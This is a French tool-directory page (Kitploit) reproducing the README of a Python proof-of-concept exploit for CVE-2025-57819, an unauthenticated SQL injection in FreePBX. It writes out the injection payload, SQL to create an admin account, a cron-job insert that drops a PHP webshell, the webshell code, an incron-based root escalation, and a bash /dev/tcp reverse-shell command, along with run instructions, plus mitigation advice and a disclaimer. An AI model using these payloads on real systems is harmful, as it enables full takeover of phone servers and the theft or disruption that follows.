Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
FreePBX-SQLi-RCE — Preuve de concept en Python exploitant CVE-2025-57819, une injection SQL non authentifiée dans FreePBX qui enchaîne la création d'un compte administrateur, le déploiement d'un webshell via cron et une escalade vers root. | Kitploit
Outils/GitHubGitHub/hexbytee/freepbx-sqli-rce
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubhexbytee/freepbx-sqli-rce

FreePBX-SQLi-RCE

Preuve de concept en Python exploitant CVE-2025-57819, une injection SQL non authentifiée dans FreePBX qui enchaîne la création d'un compte administrateur, le déploiement d'un webshell via cron et une escalade vers root.

Voir le dépôt
1il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

FreePBX CVE-2025-57819 - Injection SQL non authentifiée vers RCE PoC

Python License

À des fins éducatives et de recherche en sécurité uniquement - Voir la mention légale ci-dessous

Preuve de concept d'exploitation pour CVE-2025-57819, une vulnérabilité critique d'injection SQL non authentifiée dans FreePBX permettant l'exécution de code à distance. Ce PoC est publié après la sortie des correctifs officiels à des fins de recherche en sécurité et de tests autorisés uniquement.

Aperçu

Les versions 15.x, 16.x et 17.x de FreePBX (antérieures aux versions corrigées) sont vulnérables à une injection SQL non authentifiée dans le gestionnaire AJAX du module endpoint. Cette chaîne de vulnérabilités permet :

  1. Créer des comptes administratifs via l'injection SQL
  2. Déployer des webshells via l'injection de tâches cron authentifiées
  3. Élever les privilèges vers root (si incron est disponible) via la chaîne de hooks sysadmin_manager
  4. Compromission totale du système avec accès par reverse shell

Détails de la vulnérabilité

ID CVECVE-2025-57819
TypeInjection SQL non authentifiée (basée sur les erreurs)
CVSS9.8 / 10.0 (Critique)
AffectéFreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
Corrigé15.0.66, 16.0.89, 17.0.3+
CISA KEVOui (29 août 2025)

Point de terminaison vulnérable

GET /admin/ajax.php?brand=<PAYLOAD>

Le paramètre brand dans le gestionnaire AJAX du module endpoint accepte les entrées utilisateur sans validation, ce qui conduit à une injection SQL basée sur les erreurs.


Chaîne d'exploitation

Étape 1 : Injection SQL et création d'un compte administrateur

Vérifiez l'injection SQL en utilisant l'extraction basée sur les erreurs via EXTRACTVALUE() pour divulguer le nom de la base de données :

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Insérer un nouvel utilisateur administratif dans asterisk.ampusers :

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Étape 2 : Injection de tâche cron authentifiée

Avec des identifiants administrateur valides, l'exploit s'authentifie auprès de FreePBX et établit une session authentifiée. Les cookies de session sont enregistrés et utilisés pour toutes les requêtes authentifiées suivantes.

Injection d'une commande webshell dans asterisk.cron_jobs :

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Le lanceur cron de FreePBX exécute la commande en tant qu'utilisateur asterisk, déposant un webshell PHP.

Étape 3 : Activation du webshell

Le webshell PHP est déployé vers /var/www/html/shell.php :

<?php system($_GET['cmd']); ?>

Exploit interroge le webshell jusqu'à l'activation, obtenant une RCE en tant qu'utilisateur asterisk (uid=999).

Étape 4 : Élévation de privilèges (conditionnelle)

Si incron est configuré sur la cible :

  1. Créer un fichier déclencheur dans /var/spool/asterisk/incron/
  2. incrond (s'exécutant en tant que root) détecte la création du fichier
  3. Invoque /usr/bin/sysadmin_manager avec le nom du fichier déclencheur
  4. sysadmin_manager valide la signature GPG et distribue au hook fwconsole-commands
  5. Le hook décode la charge utile et exécute : /usr/sbin/fwconsole <COMMAND>
  6. Injection de commande : help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Résultat : shell root sur l'écouteur inverse (si incron est disponible).


Ce qu'il exploite

  • Aucune validation des entrées sur le paramètre brand
  • L'exécution de requêtes empilées permet la manipulation de la base de données
  • La table asterisk.cron_jobs accessible en écriture exécute des commandes en tant qu'asterisk
  • Persistance de session authentifiée via des cookies provenant du compte administrateur créé
  • Surveillance du système de fichiers par incron s'exécutant en tant que root
  • Exécution non validée du hook fwconsole avec injection de commande

Installation

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Utilisation

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

Capture d'écran du PoC


Versions affectées

VersionStatut
15.0.0 - 15.0.65Vulnérable
15.0.66+Corrigée
16.0.0 - 16.0.88Vulnérable
16.0.89+Corrigée
17.0.0 - 17.0.2Vulnérable
17.0.3+Corrigée

Atténuation

Immédiat :

  • Restreindre l'accès à /admin/ajax.php depuis les réseaux non fiables
  • Désactiver incron s'il n'est pas nécessaire : systemctl disable incrond

Permanent : Mettre à niveau vers les versions corrigées : 15.0.66+, 16.0.89+ ou 17.0.3+


Références

  • CVE-2025-57819
  • Catalogue KEV de la CISA
  • Avis de sécurité FreePBX

Mention légale

⚠️ AVERTISSEMENT

Cette preuve de concept est fournie UNIQUEMENT À DES FINS DE TESTS DE SÉCURITÉ AUTORISÉS ET D'APPRENTISSAGE. L'auteur décline toute responsabilité en cas de mauvaise utilisation ou de dommages causés par cet outil.

VOUS DEVEZ RESPECTER :

  • Le Computer Fraud and Abuse Act (CFAA) et les lois équivalentes de votre juridiction
  • Ne tester que les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite
  • Obtenir une autorisation écrite avant tout test de sécurité
  • Les pratiques de divulgation responsable
  • Les réglementations sur la vie privée et la protection des données (RGPD, CCPA, etc.)

UTILISATIONS INTERDITES :

  • Accès non autorisé à des systèmes informatiques
  • Tests d'intrusion sans consentement écrit
  • Perturbation de services ou vol de données
  • Toute activité malveillante ou illégale

CLAUSE DE NON-RESPONSABILITÉ : L'auteur n'est pas responsable de :

  • L'accès non autorisé ou les poursuites pénales
  • Les dommages aux systèmes ou la perte de données
  • Les conséquences juridiques d'une mauvaise utilisation
  • Les violations des lois sur la fraude informatique

Cette vulnérabilité est :

  • Divulguée publiquement (CVE-2025-57819)
  • Correctifs disponibles publiquement
  • Publiée uniquement à des fins de recherche en sécurité
  • Partagée de manière responsable après la publication du correctif

Auteur

JazzTheRabbit

  • GitHub : @JazzTheRabbit
  • HackTheBox : @JazzTheRabbit
  • YouTube : JazzTheRabbit

Licence

MIT License

Télécharger l’outil